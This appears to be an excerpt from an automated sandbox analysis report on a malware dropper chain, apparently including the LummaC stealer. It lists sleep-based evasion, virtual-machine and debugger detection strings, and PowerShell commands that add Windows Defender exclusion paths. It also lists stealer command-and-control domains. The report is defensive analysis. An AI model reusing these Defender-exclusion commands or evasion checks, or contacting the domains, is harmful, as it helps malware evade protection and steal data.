Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2328	Thread sleep time: -1330665s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 6876	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 5080	Thread sleep count: 614 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 5080	Thread sleep time: -1228614s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 4568	Thread sleep count: 682 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 4568	Thread sleep time: -1364682s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 692	Thread sleep count: 655 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 692	Thread sleep time: -1310655s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7372	Thread sleep count: 590 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7372	Thread sleep time: -1180590s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6992	Thread sleep count: 576 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6992	Thread sleep time: -1152576s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7524	Thread sleep time: -52000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6932	Thread sleep count: 580 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6932	Thread sleep time: -1160580s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 4336	Thread sleep count: 589 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 4336	Thread sleep time: -1178589s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7188	Thread sleep count: 558 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7188	Thread sleep time: -1116558s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 2232	Thread sleep count: 580 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 2232	Thread sleep time: -1160580s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7716	Thread sleep count: 589 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7716	Thread sleep time: -1178589s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 7888	Thread sleep count: 111 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 7888	Thread sleep time: -222111s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 7852	Thread sleep count: 107 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 7852	Thread sleep time: -214107s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 8156	Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 8156	Thread sleep time: -204102s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 7708	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 3704	Thread sleep count: 108 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 3704	Thread sleep time: -216108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 1244	Thread sleep count: 101 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 1244	Thread sleep time: -202101s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 3164	Thread sleep count: 113 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 3164	Thread sleep time: -226113s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2416	Thread sleep count: 118 > 30
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe TID: 2416	Thread sleep time: -236118s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 1072	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6164	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6164	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7020	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7020	Thread sleep time: -64032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7136	Thread sleep count: 254 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 7136	Thread sleep time: -1524000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6332	Thread sleep count: 36 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6332	Thread sleep time: -72036s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6396	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6396	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe TID: 6896	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe TID: 6584	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe TID: 6040	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe TID: 6040	Thread sleep count: 53 > 30
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe TID: 5380	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe TID: 6248	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe TID: 432	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe TID: 7344	Thread sleep time: -32016s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99870
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99750
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99640
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99531
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99422
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99312
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99203
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 99093
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98984
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98875
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98765
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98656
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98523
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98405
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98288
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98156
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 98047
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97937
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97828
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97719
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97595
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97469
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97359
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97218
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 97089
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 96491
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 96358
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 96229
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 96109
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 96000
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95883
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95780
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95656
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95547
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95437
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95328
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95217
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 95094
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94984
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94875
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94765
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94656
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94547
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94435
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94344
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 94222
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 93709
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Thread delayed: delay time: 93557
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Thread delayed: delay time: 922337203685477
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Thread delayed: delay time: 922337203685477
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: file.exe, 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmp, 48a114f480.exe, 00000011.00000002.2760652164.000000000180A000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: c534667f0b.exe, 0000000A.00000002.2755889265.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}-
Source: 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 0016128732.exe, 00000007.00000003.2484812332.0000000006D31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlI%
Source: 03f60c0f6e.exe, 00000009.00000002.2856372568.0000000001166000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8v
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000002.2861596832.000002473F4F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll +
Source: 03f60c0f6e.exe, 00000009.00000002.2856372568.000000000119A000.00000004.00000020.00020000.00000000.sdmp, 1a0440fbc4.exe, 0000002B.00000003.3627706997.0000000001619000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: c534667f0b.exe, 0000000A.00000002.2755889265.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: file.exe, 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmp, 48a114f480.exe, 00000011.00000002.2760652164.000000000180A000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 0016128732.exe, 00000007.00000003.2482772655.0000000001B52000.00000004.00000020.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2755889265.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3120918435.000001EE4EC2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C00C14 rdtsc

0_2_04C00C14

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0029652B mov eax, dword ptr fs:[00000030h]	0_2_0029652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0029A302 mov eax, dword ptr fs:[00000030h]	0_2_0029A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000FA302 mov eax, dword ptr fs:[00000030h]	1_2_000FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000F652B mov eax, dword ptr fs:[00000030h]	1_2_000F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000FA302 mov eax, dword ptr fs:[00000030h]	2_2_000FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000F652B mov eax, dword ptr fs:[00000030h]	2_2_000F652B

Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: c534667f0b.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3ca42ff3133e49daac5eafe0960f7af0.exe PID: 6276, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt"
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

LummaC encrypted strings found

Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 03f60c0f6e.exe, 00000009.00000002.2856130335.0000000001090000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
